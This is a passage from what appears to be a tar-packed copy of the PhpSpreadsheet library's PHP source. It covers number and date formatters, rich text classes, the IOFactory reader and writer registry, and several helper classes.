$format, $matches)) { $decimalPartSize = strlen($matches[1]); $vMinDecimalCount = strlen(rtrim($matches[1], '?')); $decimalPartSize = min(max($vMinDecimalCount, $vDecimalCount), $decimalPartSize); $placeHolders = str_repeat(' ', strlen($matches[1]) - $decimalPartSize); } // Number of digits to display before the decimal if (preg_match('/([#0,]+)\.?/u', $format, $matches)) { $firstZero = preg_replace('/^[#,]*/', '', $matches[1]) ?? ''; $wholePartSize = max($wholePartSize, strlen($firstZero)); } $wholePartSize += $decimalPartSize + (int) ($decimalPartSize > 0); $replacement = "0{$wholePartSize}.{$decimalPartSize}"; $mask = (string) preg_replace('/[#0,]+\.?[?#0,]*/ui', "%{$replacement}F{$placeHolders}", $format); /** @var float $valueFloat */ $valueFloat = $value; return self::adjustSeparators(sprintf($mask, round($valueFloat, $decimalPartSize))); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/NumberFormatter.php000064400000027507151676714400024610 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class NumberFormatter extends BaseFormatter { private const NUMBER_REGEX = '/(0+)(\\.?)(0*)/'; private static function mergeComplexNumberFormatMasks(array $numbers, array $masks): array { $decimalCount = strlen($numbers[1]); $postDecimalMasks = []; do { $tempMask = array_pop($masks); if ($tempMask !== null) { $postDecimalMasks[] = $tempMask; $decimalCount -= strlen($tempMask); } } while ($tempMask !== null && $decimalCount > 0); return [ implode('.', $masks), implode('.', array_reverse($postDecimalMasks)), ]; } private static function processComplexNumberFormatMask(mixed $number, string $mask): string { /** @var string $result */ $result = $number; $maskingBlockCount = preg_match_all('/0+/', $mask, $maskingBlocks, PREG_OFFSET_CAPTURE); if ($maskingBlockCount > 1) { $maskingBlocks = array_reverse($maskingBlocks[0]); $offset = 0; foreach ($maskingBlocks as $block) { $size = strlen($block[0]); $divisor = 10 ** $size; $offset = $block[1]; /** @var float $numberFloat */ $numberFloat = $number; $blockValue = sprintf("%0{$size}d", fmod($numberFloat, $divisor)); $number = floor($numberFloat / $divisor); $mask = substr_replace($mask, $blockValue, $offset, $size); } /** @var string $numberString */ $numberString = $number; if ($number > 0) { $mask = substr_replace($mask, $numberString, $offset, 0); } $result = $mask; } return self::makeString($result); } private static function complexNumberFormatMask(mixed $number, string $mask, bool $splitOnPoint = true): string { /** @var float $numberFloat */ $numberFloat = $number; if ($splitOnPoint) { $masks = explode('.', $mask); if (count($masks) <= 2) { $decmask = $masks[1] ?? ''; $decpos = substr_count($decmask, '0'); $numberFloat = round($numberFloat, $decpos); } } $sign = ($numberFloat < 0.0) ? '-' : ''; $number = self::f2s(abs($numberFloat)); if ($splitOnPoint && str_contains($mask, '.') && str_contains($number, '.')) { $numbers = explode('.', $number); $masks = explode('.', $mask); if (count($masks) > 2) { $masks = self::mergeComplexNumberFormatMasks($numbers, $masks); } $integerPart = self::complexNumberFormatMask($numbers[0], $masks[0], false); $numlen = strlen($numbers[1]); $msklen = strlen($masks[1]); if ($numlen < $msklen) { $numbers[1] .= str_repeat('0', $msklen - $numlen); } $decimalPart = strrev(self::complexNumberFormatMask(strrev($numbers[1]), strrev($masks[1]), false)); $decimalPart = substr($decimalPart, 0, $msklen); return "{$sign}{$integerPart}.{$decimalPart}"; } if (strlen($number) < strlen($mask)) { $number = str_repeat('0', strlen($mask) - strlen($number)) . $number; } $result = self::processComplexNumberFormatMask($number, $mask); return "{$sign}{$result}"; } public static function f2s(float $f): string { return self::floatStringConvertScientific((string) $f); } public static function floatStringConvertScientific(string $s): string { // convert only normalized form of scientific notation: // optional sign, single digit 1-9, // decimal point and digits (allowed to be omitted), // E (e permitted), optional sign, one or more digits if (preg_match('/^([+-])?([1-9])([.]([0-9]+))?[eE]([+-]?[0-9]+)$/', $s, $matches) === 1) { $exponent = (int) $matches[5]; $sign = ($matches[1] === '-') ? '-' : ''; if ($exponent >= 0) { $exponentPlus1 = $exponent + 1; $out = $matches[2] . $matches[4]; $len = strlen($out); if ($len < $exponentPlus1) { $out .= str_repeat('0', $exponentPlus1 - $len); } $out = substr($out, 0, $exponentPlus1) . ((strlen($out) === $exponentPlus1) ? '' : ('.' . substr($out, $exponentPlus1))); $s = "$sign$out"; } else { $s = $sign . '0.' . str_repeat('0', -$exponent - 1) . $matches[2] . $matches[4]; } } return $s; } private static function formatStraightNumericValue(mixed $value, string $format, array $matches, bool $useThousands): string { /** @var float $valueFloat */ $valueFloat = $value; $left = $matches[1]; $dec = $matches[2]; $right = $matches[3]; // minimun width of formatted number (including dot) $minWidth = strlen($left) + strlen($dec) + strlen($right); if ($useThousands) { $value = number_format( $valueFloat, strlen($right), StringHelper::getDecimalSeparator(), StringHelper::getThousandsSeparator() ); return self::pregReplace(self::NUMBER_REGEX, $value, $format); } if (preg_match('/[0#]E[+-]0/i', $format)) { // Scientific format $decimals = strlen($right); $size = $decimals + 3; return sprintf("%{$size}.{$decimals}E", $valueFloat); } elseif (preg_match('/0([^\d\.]+)0/', $format) || substr_count($format, '.') > 1) { if ($valueFloat == floor($valueFloat) && substr_count($format, '.') === 1) { $value *= 10 ** strlen(explode('.', $format)[1]); } $result = self::complexNumberFormatMask($value, $format); if (str_contains($result, 'E')) { // This is a hack and doesn't match Excel. // It will, at least, be an accurate representation, // even if formatted incorrectly. // This is needed for absolute values >=1E18. $result = self::f2s($valueFloat); } return $result; } $sprintf_pattern = "%0$minWidth." . strlen($right) . 'F'; /** @var float $valueFloat */ $valueFloat = $value; $value = self::adjustSeparators(sprintf($sprintf_pattern, round($valueFloat, strlen($right)))); return self::pregReplace(self::NUMBER_REGEX, $value, $format); } public static function format(mixed $value, string $format): string { // The "_" in this string has already been stripped out, // so this test is never true. Furthermore, testing // on Excel shows this format uses Euro symbol, not "EUR". // if ($format === NumberFormat::FORMAT_CURRENCY_EUR_SIMPLE) { // return 'EUR ' . sprintf('%1.2f', $value); // } $baseFormat = $format; $useThousands = self::areThousandsRequired($format); $scale = self::scaleThousandsMillions($format); if (preg_match('/[#\?0]?.*[#\?0]\/(\?+|\d+|#)/', $format)) { // It's a dirty hack; but replace # and 0 digit placeholders with ? $format = (string) preg_replace('/[#0]+\//', '?/', $format); $format = (string) preg_replace('/\/[#0]+/', '/?', $format); $value = FractionFormatter::format($value, $format); } else { // Handle the number itself // scale number $value = $value / $scale; $paddingPlaceholder = (str_contains($format, '?')); // Replace # or ? with 0 $format = self::pregReplace('/[\\#\?](?=(?:[^"]*"[^"]*")*[^"]*\Z)/', '0', $format); // Remove locale code [$-###] for an LCID $format = self::pregReplace('/\[\$\-.*\]/', '', $format); $n = '/\\[[^\\]]+\\]/'; $m = self::pregReplace($n, '', $format); // Some non-number strings are quoted, so we'll get rid of the quotes, likewise any positional * symbols $format = self::makeString(str_replace(['"', '*'], '', $format)); if (preg_match(self::NUMBER_REGEX, $m, $matches)) { // There are placeholders for digits, so inject digits from the value into the mask $value = self::formatStraightNumericValue($value, $format, $matches, $useThousands); if ($paddingPlaceholder === true) { $value = self::padValue($value, $baseFormat); } } elseif ($format !== NumberFormat::FORMAT_GENERAL) { // Yes, I know that this is basically just a hack; // if there's no placeholders for digits, just return the format mask "as is" $value = self::makeString(str_replace('?', '', $format)); } } if (preg_match('/\[\$(.*)\]/u', $format, $m)) { // Currency or Accounting $currencyCode = $m[1]; [$currencyCode] = explode('-', $currencyCode); if ($currencyCode == '') { $currencyCode = StringHelper::getCurrencyCode(); } $value = self::pregReplace('/\[\$([^\]]*)\]/u', $currencyCode, (string) $value); } if ( (str_contains((string) $value, '0.')) && ((str_contains($baseFormat, '#.')) || (str_contains($baseFormat, '?.'))) ) { $value = preg_replace('/(\b)0\.|([^\d])0\./', '${2}.', (string) $value); } return (string) $value; } private static function makeString(array|string $value): string { return is_array($value) ? '' : "$value"; } private static function pregReplace(string $pattern, string $replacement, string $subject): string { return self::makeString(preg_replace($pattern, $replacement, $subject) ?? ''); } public static function padValue(string $value, string $baseFormat): string { $preDecimal = $postDecimal = ''; $pregArray = preg_split('/\.(?=(?:[^"]*"[^"]*")*[^"]*\Z)/miu', $baseFormat . '.?'); if (is_array($pregArray)) { $preDecimal = $pregArray[0] ?? ''; $postDecimal = $pregArray[1] ?? ''; } $length = strlen($value); if (str_contains($postDecimal, '?')) { $value = str_pad(rtrim($value, '0. '), $length, ' ', STR_PAD_RIGHT); } if (str_contains($preDecimal, '?')) { $value = str_pad(ltrim($value, '0, '), $length, ' ', STR_PAD_LEFT); } return $value; } /** * Find out if we need thousands separator * This is indicated by a comma enclosed by a digit placeholders: #, 0 or ? */ public static function areThousandsRequired(string &$format): bool { $useThousands = (bool) preg_match('/([#\?0]),([#\?0])/', $format); if ($useThousands) { $format = self::pregReplace('/([#\?0]),([#\?0])/', '${1}${2}', $format); } return $useThousands; } /** * Scale thousands, millions,... * This is indicated by a number of commas after a digit placeholder: #, or 0.0,, or ?,. */ public static function scaleThousandsMillions(string &$format): int { $scale = 1; // same as no scale if (preg_match('/(#|0|\?)(,+)/', $format, $matches)) { $scale = 1000 ** strlen($matches[2]); // strip the commas $format = self::pregReplace('/([#\?0]),+/', '${1}', $format); } return $scale; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/DateFormatter.php000064400000017610151676714400024227 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Shared\Date; class DateFormatter { /** * Search/replace values to convert Excel date/time format masks to PHP format masks. */ private const DATE_FORMAT_REPLACEMENTS = [ // first remove escapes related to non-format characters '\\' => '', // 12-hour suffix 'am/pm' => 'A', // 4-digit year 'e' => 'Y', 'yyyy' => 'Y', // 2-digit year 'yy' => 'y', // first letter of month - no php equivalent 'mmmmm' => 'M', // full month name 'mmmm' => 'F', // short month name 'mmm' => 'M', // mm is minutes if time, but can also be month w/leading zero // so we try to identify times be the inclusion of a : separator in the mask // It isn't perfect, but the best way I know how ':mm' => ':i', 'mm:' => 'i:', // full day of week name 'dddd' => 'l', // short day of week name 'ddd' => 'D', // days leading zero 'dd' => 'd', // days no leading zero 'd' => 'j', // fractional seconds - no php equivalent '.s' => '', ]; /** * Search/replace values to convert Excel date/time format masks hours to PHP format masks (24 hr clock). */ private const DATE_FORMAT_REPLACEMENTS24 = [ 'hh' => 'H', 'h' => 'G', // month leading zero 'mm' => 'm', // month no leading zero 'm' => 'n', // seconds 'ss' => 's', ]; /** * Search/replace values to convert Excel date/time format masks hours to PHP format masks (12 hr clock). */ private const DATE_FORMAT_REPLACEMENTS12 = [ 'hh' => 'h', 'h' => 'g', // month leading zero 'mm' => 'm', // month no leading zero 'm' => 'n', // seconds 'ss' => 's', ]; private const HOURS_IN_DAY = 24; private const MINUTES_IN_DAY = 60 * self::HOURS_IN_DAY; private const SECONDS_IN_DAY = 60 * self::MINUTES_IN_DAY; private const INTERVAL_PRECISION = 10; private const INTERVAL_LEADING_ZERO = [ '[hh]', '[mm]', '[ss]', ]; private const INTERVAL_ROUND_PRECISION = [ // hours and minutes truncate '[h]' => self::INTERVAL_PRECISION, '[hh]' => self::INTERVAL_PRECISION, '[m]' => self::INTERVAL_PRECISION, '[mm]' => self::INTERVAL_PRECISION, // seconds round '[s]' => 0, '[ss]' => 0, ]; private const INTERVAL_MULTIPLIER = [ '[h]' => self::HOURS_IN_DAY, '[hh]' => self::HOURS_IN_DAY, '[m]' => self::MINUTES_IN_DAY, '[mm]' => self::MINUTES_IN_DAY, '[s]' => self::SECONDS_IN_DAY, '[ss]' => self::SECONDS_IN_DAY, ]; private static function tryInterval(bool &$seekingBracket, string &$block, mixed $value, string $format): void { if ($seekingBracket) { if (str_contains($block, $format)) { $hours = (string) (int) round( self::INTERVAL_MULTIPLIER[$format] * $value, self::INTERVAL_ROUND_PRECISION[$format] ); if (strlen($hours) === 1 && in_array($format, self::INTERVAL_LEADING_ZERO, true)) { $hours = "0$hours"; } $block = str_replace($format, $hours, $block); $seekingBracket = false; } } } public static function format(mixed $value, string $format): string { // strip off first part containing e.g. [$-F800] or [$USD-409] // general syntax: [$<Currency string>-<language info>] // language info is in hexadecimal // strip off chinese part like [DBNum1][$-804] $format = (string) preg_replace('/^(\[DBNum\d\])*(\[\$[^\]]*\])/i', '', $format); // OpenOffice.org uses upper-case number formats, e.g. 'YYYY', convert to lower-case; // but we don't want to change any quoted strings /** @var callable $callable */ $callable = [self::class, 'setLowercaseCallback']; $format = (string) preg_replace_callback('/(?:^|")([^"]*)(?:$|")/', $callable, $format); // Only process the non-quoted blocks for date format characters $blocks = explode('"', $format); foreach ($blocks as $key => &$block) { if ($key % 2 == 0) { $block = strtr($block, self::DATE_FORMAT_REPLACEMENTS); if (!strpos($block, 'A')) { // 24-hour time format // when [h]:mm format, the [h] should replace to the hours of the value * 24 $seekingBracket = true; self::tryInterval($seekingBracket, $block, $value, '[h]'); self::tryInterval($seekingBracket, $block, $value, '[hh]'); self::tryInterval($seekingBracket, $block, $value, '[mm]'); self::tryInterval($seekingBracket, $block, $value, '[m]'); self::tryInterval($seekingBracket, $block, $value, '[s]'); self::tryInterval($seekingBracket, $block, $value, '[ss]'); $block = strtr($block, self::DATE_FORMAT_REPLACEMENTS24); } else { // 12-hour time format $block = strtr($block, self::DATE_FORMAT_REPLACEMENTS12); } } } $format = implode('"', $blocks); // escape any quoted characters so that DateTime format() will render them correctly /** @var callable $callback */ $callback = [self::class, 'escapeQuotesCallback']; $format = (string) preg_replace_callback('/"(.*)"/U', $callback, $format); $dateObj = Date::excelToDateTimeObject($value); // If the colon preceding minute had been quoted, as happens in // Excel 2003 XML formats, m will not have been changed to i above. // Change it now. $format = (string) \preg_replace('/\\\\:m/', ':i', $format); $microseconds = (int) $dateObj->format('u'); if (str_contains($format, ':s.000')) { $milliseconds = (int) round($microseconds / 1000.0); if ($milliseconds === 1000) { $milliseconds = 0; $dateObj->modify('+1 second'); } $dateObj->modify("-$microseconds microseconds"); $format = str_replace(':s.000', ':s.' . sprintf('%03d', $milliseconds), $format); } elseif (str_contains($format, ':s.00')) { $centiseconds = (int) round($microseconds / 10000.0); if ($centiseconds === 100) { $centiseconds = 0; $dateObj->modify('+1 second'); } $dateObj->modify("-$microseconds microseconds"); $format = str_replace(':s.00', ':s.' . sprintf('%02d', $centiseconds), $format); } elseif (str_contains($format, ':s.0')) { $deciseconds = (int) round($microseconds / 100000.0); if ($deciseconds === 10) { $deciseconds = 0; $dateObj->modify('+1 second'); } $dateObj->modify("-$microseconds microseconds"); $format = str_replace(':s.0', ':s.' . sprintf('%1d', $deciseconds), $format); } else { // no fractional second if ($microseconds >= 500000) { $dateObj->modify('+1 second'); } $dateObj->modify("-$microseconds microseconds"); } return $dateObj->format($format); } private static function setLowercaseCallback(array $matches): string { return mb_strtolower($matches[0]); } private static function escapeQuotesCallback(array $matches): string { return '\\' . implode('\\', str_split($matches[1])); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/RichText/ITextElement.php000064400000001031151676714400022054 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Style\Font; interface ITextElement { /** * Get text. */ public function getText(): string; /** * Set text. * * @param string $text Text * * @return $this */ public function setText(string $text): self; /** * Get font. */ public function getFont(): ?Font; /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/RichText/TextElement.php000064400000002165151676714400021754 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Style\Font; class TextElement implements ITextElement { /** * Text. */ private string $text; /** * Create a new TextElement instance. * * @param string $text Text */ public function __construct(string $text = '') { // Initialise variables $this->text = $text; } /** * Get text. * * @return string Text */ public function getText(): string { return $this->text; } /** * Set text. * * @param string $text Text * * @return $this */ public function setText(string $text): self { $this->text = $text; return $this; } /** * Get font. For this class, the return value is always null. */ public function getFont(): ?Font { return null; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->text . __CLASS__ ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/RichText/Run.php000064400000002532151676714400020260 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\Style\Font; class Run extends TextElement implements ITextElement { /** * Font. * * @var ?Font */ private ?Font $font; /** * Create a new Run instance. * * @param string $text Text */ public function __construct(string $text = '') { parent::__construct($text); // Initialise variables $this->font = new Font(); } /** * Get font. */ public function getFont(): ?Font { return $this->font; } public function getFontOrThrow(): Font { if ($this->font === null) { throw new SpreadsheetException('unexpected null font'); } return $this->font; } /** * Set font. * * @param ?Font $font Font * * @return $this */ public function setFont(?Font $font = null): static { $this->font = $font; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->getText() . (($this->font === null) ? '' : $this->font->getHashCode()) . __CLASS__ ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/RichText/RichText.php000064400000007125151676714400021251 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\IComparable; use Stringable; class RichText implements IComparable, Stringable { /** * Rich text elements. * * @var ITextElement[] */ private array $richTextElements; /** * Create a new RichText instance. */ public function __construct(?Cell $cell = null) { // Initialise variables $this->richTextElements = []; // Rich-Text string attached to cell? if ($cell !== null) { // Add cell text and style if ($cell->getValue() != '') { $objRun = new Run($cell->getValue()); $objRun->setFont(clone $cell->getWorksheet()->getStyle($cell->getCoordinate())->getFont()); $this->addText($objRun); } // Set parent value $cell->setValueExplicit($this, DataType::TYPE_STRING); } } /** * Add text. * * @param ITextElement $text Rich text element * * @return $this */ public function addText(ITextElement $text): static { $this->richTextElements[] = $text; return $this; } /** * Create text. * * @param string $text Text */ public function createText(string $text): TextElement { $objText = new TextElement($text); $this->addText($objText); return $objText; } /** * Create text run. * * @param string $text Text */ public function createTextRun(string $text): Run { $objText = new Run($text); $this->addText($objText); return $objText; } /** * Get plain text. */ public function getPlainText(): string { // Return value $returnValue = ''; // Loop through all ITextElements foreach ($this->richTextElements as $text) { $returnValue .= $text->getText(); } return $returnValue; } /** * Convert to string. */ public function __toString(): string { return $this->getPlainText(); } /** * Get Rich Text elements. * * @return ITextElement[] */ public function getRichTextElements(): array { return $this->richTextElements; } /** * Set Rich Text elements. * * @param ITextElement[] $textElements Array of elements * * @return $this */ public function setRichTextElements(array $textElements): static { $this->richTextElements = $textElements; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { $hashElements = ''; foreach ($this->richTextElements as $element) { $hashElements .= $element->getHashCode(); } return md5( $hashElements . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { $newValue = is_object($value) ? (clone $value) : $value; if (is_array($value)) { $newValue = []; foreach ($value as $key2 => $value2) { $newValue[$key2] = is_object($value2) ? (clone $value2) : $value2; } } $this->$key = $newValue; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/IOFactory.php000064400000021230151676714400017615 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Reader\IReader; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Writer\IWriter; /** * Factory to create readers and writers easily. * * It is not required to use this class, but it should make it easier to read and write files. * Especially for reading files with an unknown format. */ abstract class IOFactory { public const READER_XLSX = 'Xlsx'; public const READER_XLS = 'Xls'; public const READER_XML = 'Xml'; public const READER_ODS = 'Ods'; public const READER_SYLK = 'Slk'; public const READER_SLK = 'Slk'; public const READER_GNUMERIC = 'Gnumeric'; public const READER_HTML = 'Html'; public const READER_CSV = 'Csv'; public const WRITER_XLSX = 'Xlsx'; public const WRITER_XLS = 'Xls'; public const WRITER_ODS = 'Ods'; public const WRITER_CSV = 'Csv'; public const WRITER_HTML = 'Html'; /** @var array<string, class-string<IReader>> */ private static array $readers = [ self::READER_XLSX => Reader\Xlsx::class, self::READER_XLS => Reader\Xls::class, self::READER_XML => Reader\Xml::class, self::READER_ODS => Reader\Ods::class, self::READER_SLK => Reader\Slk::class, self::READER_GNUMERIC => Reader\Gnumeric::class, self::READER_HTML => Reader\Html::class, self::READER_CSV => Reader\Csv::class, ]; /** @var array<string, class-string<IWriter>> */ private static array $writers = [ self::WRITER_XLS => Writer\Xls::class, self::WRITER_XLSX => Writer\Xlsx::class, self::WRITER_ODS => Writer\Ods::class, self::WRITER_CSV => Writer\Csv::class, self::WRITER_HTML => Writer\Html::class, 'Tcpdf' => Writer\Pdf\Tcpdf::class, 'Dompdf' => Writer\Pdf\Dompdf::class, 'Mpdf' => Writer\Pdf\Mpdf::class, ]; /** * Create Writer\IWriter. */ public static function createWriter(Spreadsheet $spreadsheet, string $writerType): IWriter { if (!isset(self::$writers[$writerType])) { throw new Writer\Exception("No writer found for type $writerType"); } // Instantiate writer $className = self::$writers[$writerType]; return new $className($spreadsheet); } /** * Create IReader. */ public static function createReader(string $readerType): IReader { if (!isset(self::$readers[$readerType])) { throw new Reader\Exception("No reader found for type $readerType"); } // Instantiate reader $className = self::$readers[$readerType]; return new $className(); } /** * Loads Spreadsheet from file using automatic Reader\IReader resolution. * * @param string $filename The name of the spreadsheet file * @param int $flags the optional second parameter flags may be used to identify specific elements * that should be loaded, but which won't be loaded by default, using these values: * IReader::LOAD_WITH_CHARTS - Include any charts that are defined in the loaded file. * IReader::READ_DATA_ONLY - Read cell values only, not formatting or merge structure. * IReader::IGNORE_EMPTY_CELLS - Don't load empty cells into the model. * @param string[] $readers An array of Readers to use to identify the file type. By default, load() will try * all possible Readers until it finds a match; but this allows you to pass in a * list of Readers so it will only try the subset that you specify here. * Values in this list can be any of the constant values defined in the set * IOFactory::READER_*. */ public static function load(string $filename, int $flags = 0, ?array $readers = null): Spreadsheet { $reader = self::createReaderForFile($filename, $readers); return $reader->load($filename, $flags); } /** * Identify file type using automatic IReader resolution. */ public static function identify(string $filename, ?array $readers = null): string { $reader = self::createReaderForFile($filename, $readers); $className = $reader::class; $classType = explode('\\', $className); unset($reader); return array_pop($classType); } /** * Create Reader\IReader for file using automatic IReader resolution. * * @param string[] $readers An array of Readers to use to identify the file type. By default, load() will try * all possible Readers until it finds a match; but this allows you to pass in a * list of Readers so it will only try the subset that you specify here. * Values in this list can be any of the constant values defined in the set * IOFactory::READER_*. */ public static function createReaderForFile(string $filename, ?array $readers = null): IReader { File::assertFile($filename); $testReaders = self::$readers; if ($readers !== null) { $readers = array_map('strtoupper', $readers); $testReaders = array_filter( self::$readers, fn (string $readerType): bool => in_array(strtoupper($readerType), $readers, true), ARRAY_FILTER_USE_KEY ); } // First, lucky guess by inspecting file extension $guessedReader = self::getReaderTypeFromExtension($filename); if (($guessedReader !== null) && array_key_exists($guessedReader, $testReaders)) { $reader = self::createReader($guessedReader); // Let's see if we are lucky if ($reader->canRead($filename)) { return $reader; } } // If we reach here then "lucky guess" didn't give any result // Try walking through all the options in self::$readers (or the selected subset) foreach ($testReaders as $readerType => $class) { // Ignore our original guess, we know that won't work if ($readerType !== $guessedReader) { $reader = self::createReader($readerType); if ($reader->canRead($filename)) { return $reader; } } } throw new Reader\Exception('Unable to identify a reader for this file'); } /** * Guess a reader type from the file extension, if any. */ private static function getReaderTypeFromExtension(string $filename): ?string { $pathinfo = pathinfo($filename); if (!isset($pathinfo['extension'])) { return null; } return match (strtolower($pathinfo['extension'])) { // Excel (OfficeOpenXML) Spreadsheet 'xlsx', // Excel (OfficeOpenXML) Macro Spreadsheet (macros will be discarded) 'xlsm', // Excel (OfficeOpenXML) Template 'xltx', // Excel (OfficeOpenXML) Macro Template (macros will be discarded) 'xltm' => 'Xlsx', // Excel (BIFF) Spreadsheet 'xls', // Excel (BIFF) Template 'xlt' => 'Xls', // Open/Libre Offic Calc 'ods', // Open/Libre Offic Calc Template 'ots' => 'Ods', 'slk' => 'Slk', // Excel 2003 SpreadSheetML 'xml' => 'Xml', 'gnumeric' => 'Gnumeric', 'htm', 'html' => 'Html', // Do nothing // We must not try to use CSV reader since it loads // all files including Excel files etc. 'csv' => null, default => null, }; } /** * Register a writer with its type and class name. * * @param class-string<IWriter> $writerClass */ public static function registerWriter(string $writerType, string $writerClass): void { if (!is_a($writerClass, IWriter::class, true)) { throw new Writer\Exception('Registered writers must implement ' . IWriter::class); } self::$writers[$writerType] = $writerClass; } /** * Register a reader with its type and class name. */ public static function registerReader(string $readerType, string $readerClass): void { if (!is_a($readerClass, IReader::class, true)) { throw new Reader\Exception('Registered readers must implement ' . IReader::class); } self::$readers[$readerType] = $readerClass; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Handler.php000064400000001773151676714400020564 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; class Handler { private static string $invalidHex = 'Y'; // A bunch of methods to show that we continue // to capture messages even using PhpUnit 10. public static function suppressed(): bool { return @trigger_error('hello'); } public static function deprecated(): string { return (string) hexdec(self::$invalidHex); } public static function notice(string $value): void { date_default_timezone_set($value); } public static function warning(): bool { return file_get_contents(__FILE__ . 'noexist') !== false; } public static function userDeprecated(): bool { return trigger_error('hello', E_USER_DEPRECATED); } public static function userNotice(): bool { return trigger_error('userNotice', E_USER_NOTICE); } public static function userWarning(): bool { return trigger_error('userWarning', E_USER_WARNING); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Downloader.php000064400000006220151676714400021275 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; use PhpOffice\PhpSpreadsheet\Exception; /** * Assist downloading files when samples are run in browser. * Never run as part of unit tests, which are command line. * * @codeCoverageIgnore */ class Downloader { protected string $filepath; protected string $filename; protected string $filetype; protected const CONTENT_TYPES = [ 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xls' => 'application/vnd.ms-excel', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'csv' => 'text/csv', 'html' => 'text/html', 'pdf' => 'application/pdf', ]; public function __construct(string $folder, string $filename, ?string $filetype = null) { if ((is_dir($folder) === false) || (is_readable($folder) === false)) { throw new Exception("Folder {$folder} is not accessable"); } $filepath = "{$folder}/{$filename}"; $this->filepath = (string) realpath($filepath); $this->filename = basename($filepath); if ((file_exists($this->filepath) === false) || (is_readable($this->filepath) === false)) { throw new Exception("{$this->filename} not found, or cannot be read"); } $filetype ??= pathinfo($filename, PATHINFO_EXTENSION); if (array_key_exists(strtolower($filetype), self::CONTENT_TYPES) === false) { throw new Exception("Invalid filetype: {$filetype} cannot be downloaded"); } $this->filetype = strtolower($filetype); } public function download(): void { $this->headers(); readfile($this->filepath); } public function headers(): void { // I cannot tell what this ob_clean is paired with. // I have never seen a problem with it, but someone has - issue 3739. // Perhaps it should be removed altogether, // but making it conditional seems harmless, and safer. if ((int) ob_get_length() > 0) { ob_clean(); } $this->contentType(); $this->contentDisposition(); $this->cacheHeaders(); $this->fileSize(); flush(); } protected function contentType(): void { header('Content-Type: ' . self::CONTENT_TYPES[$this->filetype]); } protected function contentDisposition(): void { header('Content-Disposition: attachment;filename="' . $this->filename . '"'); } protected function cacheHeaders(): void { header('Cache-Control: max-age=0'); // If you're serving to IE 9, then the following may be needed header('Cache-Control: max-age=1'); // If you're serving to IE over SSL, then the following may be needed header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified header('Cache-Control: cache, must-revalidate'); // HTTP/1.1 header('Pragma: public'); // HTTP/1.0 } protected function fileSize(): void { header('Content-Length: ' . filesize($this->filepath)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Dimension.php000064400000006307151676714400021132 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Shared\Drawing; use PhpOffice\PhpSpreadsheet\Style\Font; class Dimension { public const UOM_CENTIMETERS = 'cm'; public const UOM_MILLIMETERS = 'mm'; public const UOM_INCHES = 'in'; public const UOM_PIXELS = 'px'; public const UOM_POINTS = 'pt'; public const UOM_PICA = 'pc'; /** * Based on 96 dpi. */ const ABSOLUTE_UNITS = [ self::UOM_CENTIMETERS => 96.0 / 2.54, self::UOM_MILLIMETERS => 96.0 / 25.4, self::UOM_INCHES => 96.0, self::UOM_PIXELS => 1.0, self::UOM_POINTS => 96.0 / 72, self::UOM_PICA => 96.0 * 12 / 72, ]; /** * Based on a standard column width of 8.54 units in MS Excel. */ const RELATIVE_UNITS = [ 'em' => 10.0 / 8.54, 'ex' => 10.0 / 8.54, 'ch' => 10.0 / 8.54, 'rem' => 10.0 / 8.54, 'vw' => 8.54, 'vh' => 8.54, 'vmin' => 8.54, 'vmax' => 8.54, '%' => 8.54 / 100, ]; /** * @var float|int If this is a width, then size is measured in pixels (if is set) * or in Excel's default column width units if $unit is null. * If this is a height, then size is measured in pixels () * or in points () if $unit is null. */ protected float|int $size; protected ?string $unit = null; /** * Phpstan bug has been fixed; this function allows us to * pass Phpstan whether fixed or not. */ private static function stanBugFixed(array|int|null $value): array { return is_array($value) ? $value : [null, null]; } public function __construct(string $dimension) { [$size, $unit] = self::stanBugFixed(sscanf($dimension, '%[1234567890.]%s')); $unit = strtolower(trim($unit ?? '')); $size = (float) $size; // If a UoM is specified, then convert the size to pixels for internal storage if (isset(self::ABSOLUTE_UNITS[$unit])) { $size *= self::ABSOLUTE_UNITS[$unit]; $this->unit = 